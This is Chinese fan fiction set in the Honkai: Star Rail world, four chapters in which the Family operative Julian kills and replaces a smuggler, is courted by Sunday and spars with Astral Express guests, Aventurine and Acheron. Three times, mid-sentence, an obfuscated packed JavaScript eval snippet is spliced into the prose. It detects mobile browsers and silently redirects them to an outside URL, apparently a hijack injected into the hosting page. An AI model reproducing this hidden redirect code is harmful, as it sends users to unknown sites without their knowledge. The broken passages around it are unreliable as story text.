《[崩铁]神不在的星期日》 1. 第一章 “……偌大的匹诺康尼,竟然会让一个不谙世事的白痴当话事人。” 舱门打开,西装革履的皮皮西人跳到灰暗的地面上,头上雪白的绒球晃出优雅的三个圈。 “更令人难以置信的是,你这样强大又有野心的人,居然甘愿屈居人下,给这种白痴当十几年忠实的狗——我们合作吧,你只需轻轻抬手,按下几个绿灯,便能换得整个匹诺康尼!” “怎么样?尤利安,这可是一笔稳赚不赔的生意。” “巴伦大人,请谨言慎行。” 一声轻笑传来,紧接着是鞋跟与甲板碰撞的脆响,【蓝调的时刻】没有白日,阴影横移,苍白月光倾斜,为他乌云般的长发镀上一层冰冷的银辉。 尤利安摘下单片眼镜,漫不经心地擦拭着镜片,出口的话虽是警告,却听不出半点严肃的意味,仿若朋友间似是而非的调笑。 “身为【家族】的一员,尤利安向来尽忠职守、恪守本分,不敢有半点僭越之心。” “至于合作……我们本就在合作,不是吗?您带来的货物有足够的价值,自然值得一路畅通无阻。” 看着他似笑非笑的神情,巴伦瞬间心领神会,哈哈大笑起来:“对、对!我们本来就在合作!” “但若是你我大费周折,运来的货物却只是一堆破铜烂铁,恐怕……” “当然不会让尤利安大人失望!” 皮皮西人向船厢内比了个手势,转眼间,数个集装箱就被工蜂般辛勤的船员搬下,重重砸在【黄昏号】灰蒙蒙的甲板上。 尤利安看着矮小的皮皮西人费劲拉开箱门,目光触及涌出的一堆机巧鸟时,恰如其时表露出困惑与质疑。 “……虽是仙舟所产,但也不过普通机关……” 他拾起一只,仔细端详,却未能找到一丝异常——这不过是一只再普通不过,用于物流运输的仙舟机关。窄小的鸟腹,看上去也藏不了多少秘密。 当然,尤利安很清楚这批机关内部并没有藏什么东西,不然它们早在进入匹诺康尼时便会被扣押。 余下几个货箱内,也只是一些不同类型的机械,看上去最大的用处也不过是取代人力进行一些家政服务,将它们运到这里的人,却表现得像贩卖智械生命一样谨小慎微。 但他可不相信以阴险狡诈毫无底线闻名寰宇的皮皮西人,费尽心思打通关节,只为给他送来一堆废品和一个蠢货。 胆敢对橡木家系家主如此不敬,若没有别的依凭,只单纯仗着自己光滑到没有一丝皱褶的大脑,那可就…… 暗红色的眼睛微微眯起,浅薄的笑意下,涌动着足以将人溺亡的暗河。 “看来再聪明的人也会被认知局限。” 巴伦那张稚嫩的脸上浮现出几分得意,旋即他捧起机巧鸟,舌尖跳出晦涩的陌生语言。 那不同于宇宙中任何流传的语言,剔除了附加在言语上的其它特质,只保留了“传递信息”这一最基础的功能……尤利安无法用印象中的任何语言去贴合它,他在记忆中翻箱倒柜,找到的最相近的,竟然是机器语言的“0”和“1”。 “滴——接收、指令、攻击模组、开启、识别对象——” 机巧鸟红色眼睛亮起,光滑的羽翼上刺出尖锐刀片,尤利安猝不及防,手指上被划出一道血口。 他一心惊,机巧鸟还来不及升空,便被坚冰包围得动弹不得,鲜红的眼睛都在寒气中显得黯淡。 “这是……!” “没错!这就是反有机方程!” 巴伦哈哈大笑,他带来的船员们在他身后密密麻麻挤在一起,如蜂巢般,缄默无声。 “只需一声命令,便能让整个匹诺康尼的机械将枪口对准人类!” “据我所知,反有机方程可不是一句命令就能启动的。” “当然!” 矮小的皮皮西人脸上出现了一种狂热到近乎让人畏惧的神情,那是弱小者获得极致力量时,自卑与自负堆叠起来造就的,扭曲的傲慢。 “鲁珀特帝国虽然覆灭,可帝皇的尖兵仍存,尤利安大人……猜一猜,它们在哪个集装箱里?” “匹诺康尼大剧院也是由机械核心运作的吧,我所带来的这批货,可是足以颠覆整个梦想之地!” 空气一时凝滞,巴伦心满意足地看着那张精致的脸因他的话语而扭曲,惊诧、畏惧、犹豫……万千情绪打破波澜不惊的表象,在尤利安眼中猖狂演变着,最终变为他熟悉的,属于野心家的疯狂。 唇间泄露几分笑声。 尤利安戴上单片眼镜,月色滑落,镜片的反光盖住了他的眼神:“与巴伦大人合作,真是尤利安此生做过的,最正确的选择。” 反有机方程、鲁珀特帝国、天才俱乐部#27席……神秘莫测的智识命途,竟然会被蠢蛋捕获到痕迹。 “如何?我已经展示了我的诚意,接下来,该尤利安大人展示你对这场合作的诚意了。” “……我的诚意?” 冰封印不住被反有机方程控制的机巧鸟,骇人的羽翼在坚冰中震动着,发出让人牙酸的咯吱声。 伤口被寒气冻结,流出的血液化作赤红的霜花,尤利安没有放下机巧鸟,而是捧着它,缓缓走到甲板末端,临近漆黑冰冷的海面。 “我当然可以展示我的诚意,只是……”他附身,将那只机巧鸟轻轻放入水中,目送着它随波而走,在撞上漩涡后,被一点点吞噬,直至无影无踪,彻底湮灭。 “可以换一个人选。” “什么?” 声音飘散在潮湿的海风中,巴伦没有听清他说的是什么,面露疑惑。 而贯穿胸膛,从心口刺出的尖刀给了他答复。 如同装满水的气球被扎开,血液喷涌而出,还未滴落到地面,便被严寒化作飞雪,簌簌飘入海中。 利刃拔出,逐渐失温的尸体噗通一声倒在冰霜上,持刀的凶手则向尤利安恭顺地点头,退回人群中。 海面翻涌,喷溅而出的水花被冻结成崎岖的台阶,而后,一个头顶绒球的幼小身影从漩涡中走出。 ……他的脸,与地上僵死的尸体一模一样。 “欢迎加入【家族】,巴伦。” 尤利安笑着将瘦小的皮皮西人从海中拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14591930|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出,摸了摸他头上的绒球。 “虽然你先前对家主大人出言不逊,但是你带来的货物足够有价值……神明会宽恕你的罪过。” 世间星神无数,陨落无数又升格几多,最终如太阳般高悬在天的,屈指可数。 漫长的岁月里,他收集了数位星神的伟力,却仍有几位久难寻踪,不想,智识这一块象征智慧的拼图,竟是由稀世罕见的蠢货奉上。 只是一场死亡,便能填补他准备许久的计谋,果真是稳赚不赔的生意。 真是一幕皆大欢喜的喜剧! 他松手,哼着歌,踢开那具没有价值的生物遗骸,示意船员们打开货箱,将大部分货物倾倒入大海中。 在到来匹诺康尼时,【家族】向客人承诺,梦境中不存在真正的死亡。 可是……谁说他们现在是在梦境中呢? 【蓝调的时刻】是匹诺康尼最浪漫的梦境,【黄昏号】停泊在梦海之上,轻歌曼舞,夜夜不休。 可在现实的匹诺康尼,同样有一片海,海上同样停泊着一艘巨轮。 只是那艘巨轮,可就不是蒙着瑰丽面纱的黄昏号,而是寓告着死亡,带来灾厄与不幸的凯雷斯号。 这艘诡谲的巨轮,停泊在梦境与现实的罅隙之间,回收着匹诺康尼中,那些无法聆听神音的“废料”。 即使是在家族内部,凯雷斯号的存在也少有人知,但尤利安身为家族的黑手套,自然有知晓并登上这艘船的资格。 他也很会把这作为交换的微小权力,最大化地利用起来。 于是,在数年的经营下,这艘鲜为人知的巨轮,成为他一人为所欲为的乐园。 尤利安靠在桅杆上,遥望着海平线上那轮巨大的月亮。 惨白的月亮被大海切割,半边恍惚倒映在水面上,好似一具被斩首的美人尸,身体迅速衰落腐朽,面容却因死亡的阴影更加艳丽奇诡。 ……这就是,不被美梦笼罩的、凄惨的月亮。 一声铃响打破了诡异的静谧,也将尤利安从思考的泥潭中扯出。 又是谁这么多话? 他不耐烦地从怀中掏出手机,显示页面只有并没有备注姓名,只有一个“A”,却让他瞬间睁大眼睛,端正姿态点开讯息。 能让他特别置顶的,只有一个人。 【尤利安,星穹列车登上匹诺康尼,可是他们在大堂内与经理起了纠纷,你能去解决一下吗?】 ……是公务。 原本满含期待的表情立即垮了下去,上眼皮瞬间肌无力,变成半睁半阖要死不活的模样。 即使摆着死鱼眼,可他敲出的信息却看不出丁点不满。 【当然可以!!!】 虽然只要发消息就很开心了。 但是比起公务,果然还是想要聊一些别的事情…… 【还是你最可靠。】 ! 黯淡的眼睛再次亮起,尤利安几个闪身,略过甲板上忙碌的工蜂们,跳入飞船中。 不消片刻,海面上便掀起一股巨浪,只搭载一人的飞艇如流星般刺破黑暗,遁入云层深处。 2. 第二章 星穹列车……真是个熟悉的名字。 星际时代的飞艇早已摆脱了人力驾驶,符合流体力学的外形即使高速飞行也不会产生多少颠簸,在返程的数分钟里,尤利安一直在探寻这股莫名的熟悉感究竟来源于何处。 开拓星神阿基维利,身为家族高层的尤利安自然不会不知道祂的名字,祂麾下有势力星穹列车也不是什么秘密,只是后来星神陨落,银轨断绝,才让昔日声震苍穹的星穹列车逐渐销声匿迹。 可尤利安深知,这份熟悉感绝非来源于开拓星神之名,更非源于冗杂公务中捕风捉影的微小讯息,这种莫名的熟悉感,好似出自灵魂深处,是潜意识在诘问他,是否忘记了很重要的信息。 被遗忘的……是什么? 他可以肯定,在匹诺康尼的十几年中,他与星穹列车都没有丝毫交集,唯一的可能……便是被他完全忘却的,八岁之前,身处母星的记忆。 但是……区区八年,又能埋藏怎样的秘密呢? 想到这里,尤利安少见地陷入迷茫。 不等他从乱麻般的思绪里捻出一点线索,飞艇就靠了岸。 渡口早有人等待。 “欢迎靠岸,尤利安大人。” 尤利安回神,朝衣着朴素、面容普通到丢进人群中完全分辨不出的女人微微颔首,与她一同步入电梯中。 电梯从酒店最底层直通他的房间,从而让尤利安每次从凯雷斯号归来,都好似是若无其事从梦境中脱身。 封闭的箱型空间没有听众,借着这短短几十秒,尤利安问道:“星穹列车那边发生什么事了?” “禀告尤利安大人,星穹列车预留的房客信息与实际来客匹配不上,多出一位名为‘星’的小姐。” 听上去不是什么大事。 尤利安漫不经心地猜测着。 麻烦他来处理,是为了给重新启航的星穹列车一个面子吗? “后续又牵扯到了石心十人之一的砂金先生……” “还有【公司】的戏份?”尤利安眉头微蹙,并不是很想面对那群唯利是图,鬣狗般的投资者。 砂金……他听闻过这个名字,却并不了解它对应的人,但是公司派来出席谐乐大典的总不会是蠢货,想来又是个会给他工作增添无数困难的麻烦精。 “不过目前星期日大人和知更鸟大人已经赶到,现场并未发生纷乱。” 家主大人已经赶到……? 电梯抵达目的地,女人向他行礼,并未一同走出电梯。 房间空旷冷清,没有丝毫能彰显主人性格的装饰,入梦池中忆质充盈,却徒劳地逸散在空气中。 明明拜托他去处理,结果还是自己亲自下场……真是麻烦又任性的神选者啊。 从房间到酒店大堂的路不长,尤利安很快就听见悠扬的背景乐,并在来来往往的人群中精准捕捉到那一缕精致的灰。 他顿了顿,以常人不可及的速度检查自己的装扮。 造型没有凌乱,头发弧度完美,连衣摆上的一点血腥气也早已在寒风中消散——今天出现在家长大人面前的他也是毫无瑕疵! 喜悦与眷恋如冰镇苏乐达中的气泡般不断翻涌,不等它们化作泡沫满溢而出,尤利安便及时拧上瓶盖,将情绪完全压在内心深处,维持表面上的风平浪静。 他殷殷切切快步上前,却在闯入星期日视线的前一刻放慢脚步,竭力维持表面的优雅冷静,最后,佯装不以为意地开口: “日安,家主大人。” 灰发青年侧身,用一束娇艳欲滴的玫瑰打破了尤利安伪装的平静,又从那裂缝处,引出一点疑惑。 尤利安大脑高速运转。 今天是什么节日?还是说有额外的礼仪要求?不对……难道是哪位客人如此尊贵,值得家主大人捧花相迎? 来客名单在大脑中飞速掠过,他心中隐约有了答案。 “真是漂亮的玫瑰,粉色与知更鸟小姐很是相称……” 灰发青年哑然失笑,将捧花塞入尤利安手中。 这是……? “不是给知更鸟的,是给你的。” 尤利安呆在原地。 “给……我?家主大人……” “不是家主大人。”星期日笑着牵起他的手,在粉白花瓣的掩盖下,轻轻揉着他的指腹,“作为新晋恋人,向伴侣送花表达情意,这么让人惊讶吗?” 轰—— 从他唇舌间吐出的几行言语,轻而易举地搅乱了尤利安的思绪,又化作凛冽的狂风,在他心间掀起一场暴雨。 玫瑰?恋人?伴侣? 简单的几个词语在此刻变得晦涩难懂,尤利安一时分不清自己的大脑和耳朵哪个出了问题。 但他的心脏比大脑更快给出反应。 如雪地里陡然升腾的焰火,夺目的红霞瞬间侵占了他大半脸颊,火焰在血管里横冲直撞,烧得他极热极昏,疑惑、惊奇、怀疑……都被烫熟在舌尖,随着喉口的滚动咽下。 “前天晚上,我问你,愿不愿意永远待在我身边。” 前天晚上? 记忆浮现,思绪开始回笼,昏黄的灯光下,在汇报完工作,完成例行的忏悔、祝祷、赐福后,家主大人罕见地叫住了他,询问黑发青年是否愿意永远待在他身边,永不背叛,永不离弃。 而尤利安的回答是——当然。 所以……这其实是告白?宣告他们成为恋人? 漂浮的灵魂回归,熟悉的字眼让尤利安稍稍定了心神。 如果恋人只需要陪伴的话,那么他会做得很好。 他已经为此练习了十几年,不会有人比他做的更好。 眼见着尤利安从慌乱中挣扎出来,星期日松开了他的手,同时向迎面走来的银发少女点头致意。 意识到有其他人靠近,尤利安瞬间收拢溢散的情绪,恢复平常,只是握紧那束玫瑰,任由尖刺刺进指腹。 “哥哥,还有……尤利安?” “知更鸟小姐,好久不见。”尤利安颔首示意,“还有星穹列车的各位,久仰大名。” 纵使他和知更鸟也算得上自幼相识,可两人交流寥寥,关系算不得亲近,而这点稀薄的交情在对方选择离开匹诺康尼追逐梦想后更是浅淡,久别重逢也无话可谈。 短暂惊讶后,知更鸟笑着介绍到:“这位是尤利安,目前在匹诺康尼负责……” 她话语一顿,尤利安自然而然地接过话茬:“在谐乐大典期间负责接待外宾,非常抱歉给各位的入住造成了不必要的麻烦,是我的失职。” “没有,是我们自己临时更改了入住信息,还要抱歉给各位添乱了。” 作为成熟的大人,□□?杨不会因为对方的一句客套,就真的分不清问题的责任在哪一方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14591931|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 听到对面顺着自己给出的台阶下,尤利安脸上的笑容都更真诚了几分。 常年跟自以为是的蠢货打交道,难得对面是个能听懂人话的正常人,尤利安竟然有些久违的欣慰。 虽然蠢货才好操控,但还是跟聪明人对话更舒心。 “我已吩咐艾丽小姐尽快解决‘系统故障’——再给各位升级房型作为补偿,酒店稍后就会安排合适的房间。” 话音刚落,星期日就不着痕迹地递过一个眼神,尤利安自然心领神会:“为弥补我的失职,请允许我在等待期间为各位介绍梦境酒店,确保各位拥有愉快的游玩体验。” …… 一直到尤利安被淹没在人群中,星期日才收回目光。 他的视线落到自己的手上,不发一言。 手指洁白、纤长,骨节恰到好处的分明,细腻没有生茧的皮肤标明这双手的主人不从事体力劳动。 如玉雕琢的一双手,显得拇指指腹上的一点红更加突兀。 是血。 刚愈合的伤口十分脆弱,只要施加一点力,新生的皮肤就会再次裂开。 肉粉色的痂痕并不起眼,叠在深深浅浅棕色伤痕上更是普通,可在怀疑的眼光下,再细小的破绽都会被放大。 “哥哥……你在,特意支开尤利安?” 星期日敛下眼眸,没有正面回答这个问题。 “曾经,有一位偷渡客向我忏悔,而我则依照神谕,给予他宽恕。” “后来,他在匹诺康尼找到了一份工作,在多年后攒下一笔钱,将自己的两个孩子接到了身边……” 听上去是一个普通的,恶人改过自新的故事。 知更鸟眼中流露出一点疑惑。 “之后,我偶然看到了那名偷渡客的通缉令,原来他隐瞒了自己的身份,他不仅仅是银行的失信人,还是一个穷凶极恶的杀人犯,他的父母、他的妻子,还有他仅有的两个孩子……都死在了他的刀下。” 两个……孩子? 话语中的矛盾,足以让人心中翻起滔天巨浪。 惊讶的听者提出新的猜想:“会不会是有人假冒身份,顶替了那两个死去的孩子?” 灰发青年摇了摇头:“那两个孩子几十年前的虹膜信息和来到匹诺康尼的两个人对的上。” “可是,死者不可复生……” “没错,”星期日面色凝重,“而且,凶手怎么可能坦然面对本应死于他手的被害者。” 知更鸟喃喃道:“除非,梦境中的他,根本不是原来的凶手……” “而能做到悄无声息将人完全替换的,只有……” 那个名字没有跃出水面,可两人都已心知肚明。 他不愿去想尤利安背叛的可能,但无可辩驳的事实就摆在眼前。 当他触碰尤利安伤口时,对方却完全没有反应……五感已经衰退到感知不到细微的痛觉了吗? 匹诺康尼的住客中究竟有多少人被替换,【家族】会不会也被渗透,尤利安是不是背后的主谋……谎言之下被深藏的目的,究竟是什么? …… 时间差不多了。 尤利安捻下一瓣花瓣,用指尖残留的血液将它涂抹得面目全非后,将其碾碎在掌心。 他扬起一抹笑,温声说:“新的入住信息已经登记好,我们该回酒店了。” 3. 第三章 “匹诺康尼被分为十二个时刻,通过房间的入梦池就能前往真正的匹诺康尼,享受美妙的梦境……” 在察觉到脚步声少了几道后,尤利安话音骤然而止,回头查看情况。 造成队伍停滞的是灰发的星小姐,她的目光久久停留在墙上的一副艺术画上。 顺着她的视线望去,画上是一个意气风发的年轻人,捻着红酒杯,在觥筹交错中谈笑风生。 没什么特殊的,这种乱七八糟的人物画酒店里到处都是,完全不值得驻足。 但因着她与星期日相似的灰发,尤利安对她也多了几分耐心和宽容。 “这幅画上画的是匹诺康尼家喻户晓的大人物——钟表匠,他是解放边陲监狱的领导者,也是梦境的奠基人,关于他的来历,匹诺康尼有很多不同的传闻,我甚至听过一个版本,说他是走下星穹列车的一位无名客——看星小姐如此专注的模样,说不定这个说法意外得可信呢。” 他说了句俏皮话,其他人也捧场地笑了几声,星收回视线,没好意思说自己看的根本不是那幅画。 气氛有些僵硬,好在尤利安并不将其放在心上,面带优雅的,仿佛不会被任何事撼动的完美笑容,准备继续带路。 他刚转过身,就被一个问题止住脚步。 “尤利安先生。”姬子叫住了他,“你认为,生命因何而沉睡?” “生命因何而沉睡……?” 他琢磨了一下这个问题,品出几分好笑,“当然是因为他们享受安眠,没有人阻止他们醒来,不是吗?” 在他背后,姬子和□□交换了一个眼神。 尤利安能毫不避讳,甚至主动提起钟表匠,并且在回答这个问题时毫无异样,看来对方对邀请函,至少对邀请函中的密信一无所知。 对方能和橡木家系家主对话许久,估计也是家族中不一般的人物——连家族的大人物都对邀请函的密信一无所知,能瞒天过海在信中刻下信息的,会是谁? 此时他们已行至酒店大堂,沿着楼梯往上再走几步,便能抵达房间。 姬子和□□和他们道别:“我们还想再多品尝一下匹诺康尼的美酒,就先失陪了,三月七、星,等会儿见,梦中玩得开心。” “欸!啊……等会见!杨叔、姬子阿姨!” 尤利安仿佛什么都没有察觉,遗憾地与他们道别:“之后在梦境中相遇,请允许我邀请二位品尝人间难寻的佳酿——仅存于梦境之中。” “那么,稍后再见~” 目送着他们的身影在转过一个拐角后消失不见,尤利安心中紧着的弦微微松了松。 终于走了。 虽然也不是不能招架……但是应对一个有脑子的就已经很麻烦了,再来一个互相打配合的话,不就成了不公平的群殴了吗? 当然,他也不准备对星穹列车的旅客做些什么,蝇营狗苟,来匹诺康尼寻找机遇与财富的人多如牛毛,换一根少一根也不会被人发现,已经踏上命途的人却好比天上繁星,即使他可以摘下那么几颗,替换上去的也只是拙劣的赝品,散发出的光辉假到可以被人一眼识破。 他只是想从这些追寻开拓星神足迹的无名客嘴里撬出一些信息……关于他迷失的过往,也关于他将要走向的未来。 前方摆设的玻璃护罩反射出尤利安背后的景象,粉毛女孩好奇地左顾右盼,脑袋摇得跟个拨浪鼓似的,而她旁边的小灰毛举着她的梦境护照,直直撞上拐角的墙面,趴在地面上顺便绊倒了她的同伴。 ……这两个傻子,真的能给出他想要的答案吗? 尤利安无语了一瞬间,转身将她们扶起,礼貌地询问客人的情况。 “没事就好,过了这个转角就是二位的房间了——嗯?” 走廊内无风,盆栽和摆件都呆板地待在它们被摆放好的位置上,青灰色的大门沉默地搭在门框上,只欢迎它的住客光临,像往日无数个静默无声的下午一样。 唯一的不同是,其中的一扇,好像被小偷撬开了心扉,门户大敞四面迎风。 ? 突破猎犬的防守,如此明目张胆地出现在家族客人的房间中,看来这位不速之客对自己的实力很有自信。 他伸出手,示意身后的两位小姐停下脚步。 “看来出现了一些突发情况——” 尤利安放轻脚步,如同一只在房檐上行走的猫一般轻巧,却故意提高声音,拉长语调,以让房间内的人觉察到他的到来。 房间内,衣着华丽的金发男子侧身,瑰彩眼眸与一双深赤色瞳孔对上,如璀璨珠宝落入葡萄酒湖,激起一圈细小的涟漪。 “公司的使节,也会走错房间吗?” “——真遗憾,在半个系统时前,它还是我的房间。”金发男子似笑非笑地意料之外的来宾,从尤利安的打扮,判断出他的身份,“我让出了我的房间,为家族解决了一个大麻烦——你是来向我道谢的吗?” 尤利安并不打算正面回答他的问题。 是或不是都并非正确答案,因为二者无疑都默认了一个前提,即砂金为家族提供了帮助,他现在是手握筹码,掌握了主动权的上位者。 ……但是,真的是他的房间吗? 尤利安并不负责安排入住,手中也没有客人的登记信息——他不认为砂金说的是真话,却也无法立刻判断砂金说的是谎话。 虽然登记信息只要向艾丽小姐索要一下就能得到,但是抓住客人话语中的漏洞不放,非要寻根问底,倒是显得态度过于咄咄逼人,显然不符合家族对外呈现出的形象。 所以,砂金就是算准了无法被揭穿,才肆无忌惮地掷出难辨真假的筹码,想在三言两语间,用一个捏造的前提来换取他的人情……不愧是石心十人之一,果然不是省油的灯。 “家族不会区别对待客人,在交换房间时,就已经为您提供了足够的补偿。”尤利安轻巧地避开了这个话题,“既然这个房间目前已经不归您所有……请让我引领您前往您的新房间。” 麻烦的家伙。 两边都迅速给对面下了定义。 砂金保持着游刃有余的姿态,回道:“不用麻烦你了,继续去完成你的工作吧,我要和房间的新主人聊聊天,家族不至于连朋友之间的交流感情都要管吧?” “比起在房间内徒劳地等待,砂金先生为何不前往真正的匹诺康尼,在音乐与美酒的环绕下享受舒适的对话环境?不论您想见谁,我都可以为您联系。”黑发青年言笑晏晏,唇齿间吐露的话语中却暗藏玄机,“还是说,有什么话是绝对不能在梦境中说的……比如,颠覆整个匹诺康尼?” 嗯? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14591932|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎有人轻飘飘地说出了很不得了的话呢。 在先前的对话中,他可完全没有表露出丝毫大逆不道的想法,即便是了解公司和监狱星球的纠葛,也只会认为公司此番前来的目的是“回收”而非“颠覆”。 那么,这个词究竟出自谁的大脑? 砂金挑了挑眉。 虽然是第一次见面,但是砂金在来到匹诺康尼前,就已从公司的信息库中,大致了解了尤利安此人。 出身荒星,年幼时因战乱被歌斐木带到匹诺康尼……在匹诺康尼生活了十几年,成为【家族】中的大人物,是家族最锋利的尖刀,同时也是橡木家系家主星期日,最坚定的支持者和最忠诚的拥趸。 可是现在看来,这把刀好像不只是一个死物,也不满足于只当一件趁手的工具…… “谁都可以联系?那若是我在梦境中想要联系你呢?” “那将是我的荣幸。” 尤利安面不改色,但平静表面下,藏匿着汹涌的暗潮。 “不过现在,还要麻烦您回到自己的房间。引领每一位客人回到他们的房间是我的职责,您这样的大人物,何苦为难我这种小角色呢?” “是吗——” “你们,在我的房间里做什么?” 凛冽的女声从门口传来,走道灯光照耀下,她的影子被拉得极长,上半身的阴影铺在尤利安身前,将他的影子完全覆盖。 尤利安扭头,想要确认来者何人,可他刚和一只暗紫色的眼睛对上视线,出鞘的太刀就已横在他的颈间。 寒气森森的刀刃上,清晰映射出他晦涩的眼眸。 “——天才俱乐部#69席洛青,你为什么会在这里?” …… “歌斐木大人不忍二位为谐乐鸽的逝去悲伤,特意为二位送来新的‘小鸟’。” 高大的成年人站在门口,宽阔的肩膀和腰背把阳光堵得严严实实,光线只能从身体和门框的缝隙中钻入房中。 隐隐绰绰的光线中,年幼的男孩把他的妹妹牢牢护在身后,警惕地抬头看着身形魁梧,和他们力量差距悬殊的成年人。 “谢谢歌斐木大人的关心,但是我们并不需要新的小鸟。” “歌斐木大人下令,如果二位不愿意接受这只小鸟……等待他的只有处理垃圾的废料场。” 女孩抓住男孩衣袖的手收紧,袖口传来的牵扯感也让男孩本来坚定的神情动摇了几分,显出几分犹豫。 男人并不催促,他的面容被笼罩在阴影中,看不真切,似乎只是一个单纯的传声筒。 时间一点一滴地过去,过了许久,男孩才出声:“……可以先让我们看看小鸟吗?” “当然可以。” 男人移开身体,出乎意料的是,他身后并没有箱子或者鸟笼,也没有来运送货物的其他人,而是…… 与他们年龄相仿的男孩站在门口,他全身湿漉漉的,身上与其说是衣服,不如说是一块装东西的破布,被水汽浸湿的黑发软趴趴地贴在脖颈上,他脸色惨白,像是一具刚从冰柜里搬出来的尸体,瞳孔蒙上一层白翳,无神地望着前方,更令人心惊的是他身上密密麻麻、裂痕般的伤口,深深浅浅的伤痕堆叠在苍白的皮肤上,不断向外渗出粘稠的鲜血。 “他的生死,全在你们一念之间。” 4. 第四章 “这位女士,不管您将我错认成了谁,在家族的领地攻击家族的成员,都不是一个明智的选择。” 锐利的寒气削断了他的几缕发丝,黑发温顺地从刀锋滑下,垂落在地。 这是一把削铁如泥的好刀,可令人畏惧的并非是它的锋利,而是缠绕其上,恐怖幽深的气息。 优雅得体的笑容仿佛焊死在了尤利安脸上,他与来者无声地对峙,良久后,太刀被收回刀鞘。 “不好意思,认错人了。” “没关系,黄泉小姐,你们巡海游侠总是这样不着调。” 看清女人的脸后,尤利安迅速把她和需要重点关照的危险分子之一对上号。 【巡海游侠】黄泉,行走在巡猎的命途上,还有着深不可测的实力,更重要的是巡海游侠的主张——以暴制暴,杀伐果断,他们都是不可用常理揣测的疯子。 他们没有明确的利益目标,也就没有可以被拿捏的把柄,换言之,这个女人就是颗威力巨大、不知何时会被引爆的炸弹。 现在这个危险分子将刀尖对准了他……真不知道算好事还是坏事。 尤利安摸着自己被削断后齐整的发尾,选择将这个误会轻描淡写地揭过:“系统显示这个房间目前属于星穹列车的星小姐,您大概是看错了房间号。” 紫发女子看了看手机,认可了他的说法。 这下尤利安切切实实松了口气。 对方没有胡搅蛮缠的意思,应该还是个能沟通的正常人,自己还没有不幸到要一边绞尽脑汁稳定炸弹情绪,一边提防随时可能落到他脖子上的刀刃的程度。 如果说在面对砂金时,他还想着与他针锋相对,引导他给出自己想要的回复,那么在和黄泉对峙时,尤利安只想尽快结束对话,快点把这尊大佛送走。 常年生死一线徘徊的经历,给予他无比敏锐的,对危险的直觉。 他曾直面过横刀跃马的将军,也见识过伏尸百万的君王,在风暴最中心制服过发狂的巨兽,也在群星晦涩难明处湮灭过真正的狂徒,但是那些东西加起来的危机感,都没有面前这个女人带给他的大。 极其强大的压迫感、晦涩幽深的气息,以及暗藏其下,丝丝缕缕渗出的杀意,仿佛那里站着的,不是一个弱质纤纤的女人,而是一个疯狂吞噬一切的黑洞。 小小一个庆典,竟然能吸引如此人物踏上匹诺康尼的土地。 忌惮的同时,尤利安又不免疑惑——巡海游侠里有这么个人物,他们怎么会还是一盘散沙,不成气候,被一个原始博士逼得匿迹潜行。 “看来误会已经解除,那么就请各位配合我的工作,回到各自的房间吧,我们梦中再见。” 收刀入鞘后,剑拔弩张的氛围也跟着烟消云散。 尤利安合掌置于胸前,歪着头,几缕碎发随之摇动,笑容不那么灿烂,却多了几分真心,掩去锋芒后,略显柔美的外貌让他更显纯良无害——即使有脑子的人都明白这只是伪装。 “尤利安先生,我想了想,等待也是收获的一部分,如果连种下种子都不愿意,又怎么能摘取甘果?家族不应该将住客自己的意愿摆在前位吗?一味‘纠正’他人的想法,可不像是同谐的理念。” 一个比一个麻烦。 尤利安在心中啧了一声,正准备再接下这飞来的刀锋,可话语刚离开唇齿,就被突如其来的声响盖得严严实实。 刺耳的警报吸引了所有人的注意力。 “警告!警告!酒店内机械造物失控!请各位客人立刻回到房间!注意自身安全……” 尤利安脸色骤然沉了下去。 砂金还不忘冷嘲热讽:“临近谐乐大典,家族竟然还能出这种‘意外’……目前好像有比‘送客人回房间’更紧要的工作出现了,尤利安先生请先去忙吧。” ……烦死了,叽叽喳喳的家伙。 尤利安咽下这口气,强颜欢笑道:“非常抱歉,那我就先失陪了。” 说罢,他步履匆匆,在踏出房门的那一刻单片眼镜一转,被镜像掩盖的三月七和星,再次出现在了走廊上。 …… 酒店最上层,监控室内。 几个家族成员挤在监控屏幕前,看着屏幕里瘫倒在地毫无动静的机器人,满面难色。 一声铃响后,深青色的房门被推开,细小的灰尘被这阵风带起,跃入电子屏幕幽幽的蓝光中。 “情况怎样了?” 黑发青年大步流星走到屏幕前,发梢还带着一点室外的寒气。 警告中的暴动并没有发生,屏幕中只有一个个瘫痪在地的服务机器人,看上去不像是失控,反而像是被一同拔掉了电源,沦为电路板和螺丝钉堆成的废品。 “尤利安大人,七分钟前,这些机器人失控攻击旁边的人,然而几十秒后,又全部停下攻击,无法连接进系统网络。” “有人受伤吗?” “伤到了几个服务人员……他们已经被送到了医务室。” 还好后果并不严重。 